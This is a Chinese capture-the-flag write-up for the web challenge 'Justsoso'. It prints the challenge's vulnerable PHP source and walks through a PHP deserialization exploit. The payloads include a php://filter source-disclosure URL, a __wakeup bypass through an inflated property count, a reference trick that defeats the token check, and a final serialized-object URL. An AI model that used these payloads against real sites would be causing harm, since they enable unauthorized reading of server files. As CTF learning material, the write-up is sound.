April 27th 2019, 12:00:00 pm      
         
        
        
            
        
        
        Web - Justsoso
使用php伪协议读到hint和index的源码:
/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | <?phperror_reporting(0);
 $file = $_GET["file"];
 $payload = $_GET["payload"];
 
 if (!isset($file)) {
 echo 'Missing parameter' . '<br>';
 }
 
 if (preg_match("/flag/", $file)) {
 die('hack attacked!!!');
 }
 
 @include ($file);
 if (isset($payload)) {
 $url = parse_url($_SERVER['REQUEST_URI']);
 parse_str($url['query'], $query);
 foreach ($query as $value) {
 if (preg_match("/flag/", $value)) {
 die('stop hacking!');
 exit();
 }
 }
 $payload = unserialize($payload);
 } else {
 echo "Missing parameters";
 }
 ?>
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 
 | <?phpclass Handle {
 private $handle;
 public function __wakeup() {
 foreach (get_object_vars($this) as $k => $v) {
 $this->$k = null;
 }
 echo "Waking upn";
 }
 public function __construct($handle) {
 $this->handle = $handle;
 }
 public function __destruct() {
 $this->handle->getFlag();
 }
 }
 
 class Flag {
 public $file;
 public $token;
 public $token_flag;
 function __construct($file) {
 $this->file = $file;
 $this->token_flag = $this->token = md5(rand(1, 10000));
 }
 public function getFlag() {
 $this->token_flag = md5(rand(1, 10000));
 if ($this->token === $this->token_flag) {
 if (isset($this->file)) {
 echo @highlight_file($this->file, true);
 }
 }
 }
 }
 ?>
 
 | 
- 分析index.php (参数file, payload都被定义)
- file参数中读到flag就拦截
- 使用parse_url解析当前URL的路径
- 继续匹配flag并拦截
- 全部通过了之后反序列化payload参数的值
class Handle:
- __wakeup()将所有变量都赋值为空
- __construct($handle)将$handle的值赋值给$this->handle
- __destruct()调用getFlag();
class Flag:
- __construct($file)将$file赋值给$this->file,token_flag,token都赋值为1-10000同一个随机数字的md5值。
- getFlag()token_flah被赋值为一个新的随机数md5值,判断token和token_flag是否一致,如果一致,再判断$this->file是否被定义,如果定义,再读取文件。即可以读取flag。
通过反序列化构造一个poc,定义$file,读取到flag。
这里有几处需要注意的地方:
- 需要绕过parse_url使flag字符能够被传递进来。
- __wakeup()清空了所有变量,需要绕过。
- 如何使token和token_flag的值在getFlag()处相等
这里我直接复制了参考文章里面的构造源码。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 
 | <?phpclass Handle{
 private $handle;
 public function __wakeup(){
 foreach(get_object_vars($this) as $k => $v) {
 $this->$k = null;
 }
 echo "Waking upn";
 }
 public function __construct($handle) {
 $this->handle = $handle;
 }
 public function __destruct(){
 $this->handle->getFlag();
 }
 }
 class Flag{
 public $file;
 public $token;
 public $token_flag;
 function __construct($file){
 $this->file = $file;
 $this->token_flag = $this->token = md5(rand(1,10000));
 }
 public function getFlag(){
 if(isset($this->file)){
 echo @highlight_file($this->file,true);
 }
 }
 }
 
 
 $b = new Flag("flag.php");
 $b->token=&$b->token_flag;
 $a = new Handle($b);
 echo(serialize($a));
 ?>
 
 | 
根据文中的方法,三个需要注意的点的绕过方法为:
- 利用parse_url解析漏洞,在域名后面的一个/改为///即可绕过
- 当成员属性数目大于实际数目时可绕过wakeup方法,也就是将poc里的:O:6:"Handle":1:{s:...改为O:6:"Handle":2:{s:...即可。
- 使用php的引用赋值,将token作为token_flag的引用,当token_flag重新被赋值时,token也会改变。
最后的poc为:
http://127.0.0.1///index.php?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
由于题目环境已经不在了,本地搭建了一下,parse_url解析漏洞复现不出来,于是只能跳过那个复现一下,如图。

题目参考